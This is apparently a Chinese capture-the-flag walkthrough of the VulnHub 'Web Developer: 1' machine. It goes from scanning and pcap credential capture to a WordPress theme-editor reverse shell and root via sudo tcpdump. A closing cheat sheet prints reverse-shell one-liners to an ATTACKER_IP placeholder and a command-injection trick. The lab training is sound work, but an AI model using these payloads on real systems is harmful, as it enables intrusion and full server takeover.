Web Developer 1靶场渗透测试
靶机下载地址 Web Developer: 1 ~ VulnHub
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.181,靶场IP192.168.23.65
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.65
4,访问一下80端口存在的http服务
是一个很经典的wordpress框架搭建的网站
5,再对网站后台子目录进行爆破扫描
dirsearch -u http://192.168.23.65 -x 404,403
分别查看这些内容,发现没什么用换一种扫描方式
dirb http://192.168.23.65 |grep -n "DIR"
6,访问登录页面 http://192.168.23.65/wp-admin/
访问 http://192.168.23.65/ipdata/ 下载得到一个流量包
右键追踪No.180流量包,发现管理员通过POST请求方式登录,账户密码是明文传输的
账户/密码:webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd
7,成功登录。使用whatweb扫描一下网站指纹
各种组件的版本都比较新
通过网页知道wordpress版本为6.7.2,检索一下漏洞数据库里面的内容
searchsploit wordpress 6.7.2
8,使用kali自带的木马文件,在404.php处上传
注意选择appearance/editor/404 template;select theme to edit选择twenty sixteen;反弹shell监听的IP地址和端口一定要修改为kali攻击机的
依照上述要求操作成功上传
9,然后访问对应网址
http://192.168.23.65/wp-content/themes/twentysixteen/404.php
与此同时kali攻击机需要开启对4444端口的监听。当访问网址之后,就可以看到攻击机成功的getshell了
10,getshell后发现权限极低,无法启动python模块创建一个可交互是shell。目前知道靶机开放ssh服务,那么思路就可以有查看网站的配置文件
cat wp-login.php
从配置文件中得到了数据库账户密码,那么就可以ssh登录webdeveloper,然后在其数据库里面做信息收集。
ssh/数据库账户/密码:webdeveloper/MasterOfTheUniverse
11,查看能否sudo提权 sudo -l
发现可以tcpdump提权,查找一下使用方法
echo $'php /var/www/html/wp-content/themes/twentysixteen/404.php' > /tmp/.shell
- 作用:在 /tmp 目录下创建一个隐藏文件 .shell,内容为 php /var/www/html/wp-content/themes/twentysixteen/404.php。
- 关键点:
- /tmp 是临时目录,通常所有用户可写,适合存放攻击载荷。
- 404.php 是 WordPress 主题的 404 页面文件,此处可能已被篡改或植入恶意代码。
chmod +x /tmp/.shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell -Z root
- 参数解析:
- -ln:禁用域名解析(-n)并使用行缓冲(-l)。
- -i eth0:指定监听网卡。
- -w /dev/null:将抓包数据写入空设备(丢弃)。
- -W 1 -G 1:限制抓包文件数量为 1,旋转时间为 1 秒(快速触发动作)。
- -z /tmp/.shell:抓包完成后执行指定脚本。
- -Z root:以 root 用户权限运行脚本。
- 实际效果:
- 通过 sudo 以高权限启动 tcpdump。
- 由于 tcpdump 配置允许使用 -z 参数,脚本 /tmp/.shell 会以 root 身份执行。
- 最终执行命令:
php /var/www/html/wp-content/themes/twentysixteen/404.php
12,与此同时kali-linux要打开对4444端口的监听,等待迂回就成功get root权限的shell
最后成功得到了flag
tcpdump提权方法
1. 检查 tcpdump 的 sudo 权限细节
首先确认 tcpdump 的完整 sudo 配置命令(你提供的信息未显示具体权限范围):
sudo -l
若输出中存在类似以下内容,则提权可能性较高:
复制
(root) NOPASSWD: /usr/sbin/tcpdump
2. 常用提权方法
方法 1:通过 -z 或 -Z 参数执行脚本
如果 tcpdump 允许使用 -z(后接脚本路径)或 -Z(用户权限切换)参数,可以尝试以下操作:
# 生成反弹 Shell 脚本(假设可写目录为 /tmp)
echo 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"' > /tmp/shell.sh
chmod +x /tmp/shell.sh
# 通过 tcpdump 触发脚本执行
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
- 原理:-z /tmp/shell.sh 会让 tcpdump 在完成抓包文件后执行该脚本,-Z root 会以 root 权限运行。
方法 2:通过读取文件注入命令
若无法直接写脚本,可通过流量捕获触发命令执行:
# 监听本地流量并触发命令
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 --postrotate-command='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
方法 3:利用命令注入(需参数未过滤)
如果 tcpdump 的参数未被严格过滤,尝试注入命令:
sudo tcpdump -i eth0 -w $(whoami|tee /tmp/result).pcap
检查 /tmp/result 文件内容,若显示 root,则当前以 root 权限运行。
3. 防御措施(给管理员)
若你是管理员,应限制 tcpdump 的 sudo 权限:
# 禁止危险参数(在 /etc/sudoers 中配置)
webdeveloper ALL=(root) NOPASSWD: /usr/sbin/tcpdump -n -i eth0